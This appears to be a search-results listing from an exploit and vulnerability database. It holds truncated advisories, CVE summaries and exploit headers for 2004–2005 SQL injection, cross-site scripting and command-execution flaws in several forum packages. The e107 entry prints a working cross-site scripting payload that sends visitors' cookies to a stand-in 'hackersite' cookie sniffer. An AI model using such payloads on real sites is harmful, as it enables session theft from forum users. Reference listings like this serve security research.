8126 matches found
CarLine Forum Russian Board 4.2 - 'set.php?name_ig_array[]' Cross-Site Scripting
source: https://www.securityfocus.com/bid/14045/info Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks. Forum Russian Board 4.2 is reported to be affected...
CarLine Forum Russian Board 4.2 - 'reply.php?name_ig_array1[1]' SQL Injection
source: https://www.securityfocus.com/bid/14045/info Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks. Forum Russian Board 4.2 is reported to be affected...
CarLine Forum Russian Board 4.2 - 'reply_in.php' Multiple SQL Injections
source: https://www.securityfocus.com/bid/14045/info Forum Russian Board is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out SQL Injection, cross-site scripting, and HTML injection attacks. Forum Russian Board 4.2 is reported to be affected...
Simple Machines Forum <= 1.0.4 (modify) SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================= Simple Machines Forum = 1.0.4 modify SQL Injection Exploit ============================================================= !/usr/bin/perl -w SMF Modify SQL Injection // All Versio...
Forum Russian Board 4.2 Full Command Execution Exploit
No description provided by source. !/usr/bin/perl Forum Russian Board 4.2 Full FRB http://www.carline.ru , http://frb.ru command execution exploit by RST/GHC http://rst.void.ru , http://ghc.ru bugs found by foster & 1dt.w0lf , xpl coded by 1dt.w0lf RST/GHC - http://rst.void.ru , http://ghc.ru use...
MercuryBoard <= 1.1.4 SQL Injection Exploit
No description provided by source. !/usr/bin/perl MercuryBoard =1.1.4, MySQL = 4.1 sql injection exploit by RST/GHC note: you need first register on forum for get id and login after what logout from forum and run exploit note2: edit timestamp in sources if exploit not work ; coded by 1dt.w0lf...
Forum Russian Board 4.2 - Full Command Execution
Forum Russian Board 4.2 - Full Command Execution !/usr/bin/perl Forum Russian Board 4.2 Full FRB http://www.carline.ru , http://frb.ru command execution exploit by RST/GHC http://rst.void.ru , http://ghc.ru bugs found by foster & 1dt.w0lf , xpl coded by 1dt.w0lf RST/GHC - http://rst.void.ru ,...
MercuryBoard 1.1.4 - SQL Injection
MercuryBoard 1.1.4 - SQL Injection !/usr/bin/perl MercuryBoard 4.1 sql injection exploit by RST/GHC note: you need first register on forum for get id and login after what logout from forum and run exploit note2: edit timestamp in sources if exploit not work ; coded by 1dt.w0lf RST/GHC -...
MercuryBoard 1.1.4 - SQL Injection
!/usr/bin/perl MercuryBoard 4.1 sql injection exploit by RST/GHC note: you need first register on forum for get id and login after what logout from forum and run exploit note2: edit timestamp in sources if exploit not work ; coded by 1dt.w0lf RST/GHC - http://rst.void.ru , http://ghc.ru use...
Forum Russian Board 4.2 - Full Command Execution
!/usr/bin/perl Forum Russian Board 4.2 Full FRB http://www.carline.ru , http://frb.ru command execution exploit by RST/GHC http://rst.void.ru , http://ghc.ru bugs found by foster & 1dt.w0lf , xpl coded by 1dt.w0lf RST/GHC - http://rst.void.ru , http://ghc.ru use IO::Socket; use Getopt::Std;...
e107 WebPortal
Hello, Zaraza Type:CSS in forum/ LINK=http://www.site.ru" onclick=document.location.hef='http://hackersite/cgi-bin/cookiesniffer.cgi?'+document.cookie;target="blanksite.ru/LINK IMGjavascript:alert'HELLO, This CSS attack ;'/IMG -- Best regards, B4D$c0Rp mailto:[email protected] 01.06.2005, 22:49...
CVE-2005-1817
Invision Power Board (IPB) versions 1.0–1.3 are affected by a vulnerability in index.php that allows remote attackers to edit arbitrary forum posts by sending a modified request. The issue is triggered via direct parameter manipulation in a HTTP request to index.php, enabling an attacker to alter...
woltlabXSS231.txt
SePro Bugtraq WBB - WoltLab Burning Board = 2.3.1 - XSS Vulnerability 22.04.05 Vendor: WoltLab URL: http://www.woltlab.de/ Version: = 2.3.1 Type: XSS Discovered by deluxe89 Description: -------------------------------- The WoltLab Burning Board is a high customisable forum software for every kind...
CVE-2005-1817: Undefined Security Weakness
Invision Power Board IPB 1.0 through 1.3 allows remote attackers to edit arbitrary forum posts via a direct request to index.php with modified parameters...
bkforum4.txt
Dcrab 's Security Advisory Hsc Security Group http://www.hackerscenter.com/ dP Security http://digitalparadox.org/ Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah Severity: High Title: Multiple Sql injection...
CVE-2004-2122
Cross-site scripting XSS vulnerability in intraforumdb.cgi in Intra Forum allows remote attackers to inject arbitrary web script or HTML via the 1 uselastread or 2 forum parameters...
CVE-2004-2122
CVE-2004-2122 describes a cross-site scripting (XSS) vulnerability in Intra Forum’s intraforum_db.cgi, exploitable via the use_last_read or forum parameters. Affected software/function: Intra Forum web application (intraforum_db.cgi). Root cause: unsanitized input leading to script/HTML injection...
CVE-2004-2122: Undefined Security Weakness
Cross-site scripting XSS vulnerability in intraforumdb.cgi in Intra Forum allows remote attackers to inject arbitrary web script or HTML via the 1 uselastread or 2 forum parameters...
CVE-2005-1648
CVE-2005-1648 affects Gurgens (GASoft) Ultimate Forum 1.0. The vulnerability arises because the db/Genid.dat database file is stored under the web document root with insufficient access control, enabling remote attackers to obtain and decrypt usernames and passwords. The provided sources describe...
CVE-2005-1648
Gurgens GASoft Ultimate Forum 1.0 stores the db/Genid.dat database file under the web document root with insufficient access control, which allows remote attackers to obtain and decrypt usernames and passwords...